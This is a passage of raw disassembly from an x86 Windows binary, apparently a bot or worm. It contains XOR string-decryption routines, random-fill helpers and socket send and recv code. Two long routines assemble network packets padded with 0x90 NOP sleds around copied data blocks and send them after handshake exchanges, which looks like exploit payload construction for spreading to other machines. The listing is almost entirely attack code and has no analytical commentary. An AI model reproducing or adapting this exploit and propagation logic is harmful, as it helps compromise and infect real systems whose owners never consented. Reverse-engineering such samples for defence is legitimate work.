		pop	ebp
		retn
sub_41043F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410461	proc near		; CODE XREF: sub_4104A3+42p
					; sub_4125DF:loc_4126B8p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBB0,	eax
		and	eax, 0FFh
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410461	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410483	proc near		; CODE XREF: sub_4055E5+72Bp
					; sub_40D7E5+57p
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		call	sub_410318
		call	sub_416B64	; clock
		lock xadd dword_41EBAC,	eax
		and	eax, 1
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_410483	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4104A3	proc near		; CODE XREF: sub_40A9CF+D4Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_4104AF
		jmp	short locret_4104FF
; ---------------------------------------------------------------------------

loc_4104AF:				; CODE XREF: sub_4104A3+8j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax

loc_4104B5:				; CODE XREF: sub_4104A3+34j
		cmp	[ebp+arg_4], 3
		jbe	short loc_4104D9
		call	sub_410422
		mov	ecx, [ebp+var_4]
		mov	[ecx], eax
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		sub	eax, 4
		mov	[ebp+arg_4], eax
		jmp	short loc_4104B5
; ---------------------------------------------------------------------------

loc_4104D9:				; CODE XREF: sub_4104A3+16j
		mov	eax, [ebp+var_4]
		mov	[ebp+arg_0], eax

loc_4104DF:				; CODE XREF: sub_4104A3+5Aj
		cmp	[ebp+arg_4], 0
		jbe	short locret_4104FF
		call	sub_410461
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+arg_4]
		dec	eax
		mov	[ebp+arg_4], eax
		jmp	short loc_4104DF
; ---------------------------------------------------------------------------

locret_4104FF:				; CODE XREF: sub_4104A3+Aj
					; sub_4104A3+40j
		leave
		retn
sub_4104A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410501	proc near		; CODE XREF: sub_403260+36p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_4], 0
		jnz	short loc_410510
		xor	eax, eax
		jmp	short locret_41055D
; ---------------------------------------------------------------------------

loc_410510:				; CODE XREF: sub_410501+9j
		cmp	[ebp+arg_10], 0
		jnz	short loc_41051C
		mov	eax, [ebp+arg_4]
		mov	[ebp+arg_10], eax

loc_41051C:				; CODE XREF: sub_410501+13j
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4], eax

loc_410532:				; CODE XREF: sub_410501+57j
		cmp	[ebp+var_4], 0
		jbe	short loc_41055A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		mov	[ecx], al
		mov	eax, [ebp+arg_0]
		inc	eax
		mov	[ebp+arg_0], eax
		mov	eax, [ebp+var_4]
		dec	eax
		mov	[ebp+var_4], eax
		jmp	short loc_410532
; ---------------------------------------------------------------------------

loc_41055A:				; CODE XREF: sub_410501+35j
		mov	eax, [ebp+var_8]

locret_41055D:				; CODE XREF: sub_410501+Dj
		leave
		retn
sub_410501	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41055F	proc near		; CODE XREF: sub_4167F1+F0p

var_58		= byte ptr -58h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F11F
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_40F159
		add	esp, 0Ch
		lea	eax, [ebp+var_58]
		push	eax
		push	offset byte_41EBC0
		call	sub_40F26E
		pop	ecx
		pop	ecx
		lea	esi, byte_41EBC0
		mov	edi, esi
		push	10h
		pop	ecx

loc_41059F:				; CODE XREF: sub_41055F+47j
		lodsb
		or	eax, 80h
		stosb
		loop	loc_41059F
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41055F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------

loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------

loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EBC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------

loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------

loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EBC0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: BrattyUS:off_41CDAEo

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------

loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------

loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------

loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax

loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------

loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset loc_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset loc_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	(offset	loc_41A8E3+1)
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset loc_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------

loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: BrattyUS:0041CDE8o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95

loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E

loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------

loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax

loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------

loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52+265p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------

loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------

loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------

loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------

loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------

loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------

loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0

loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

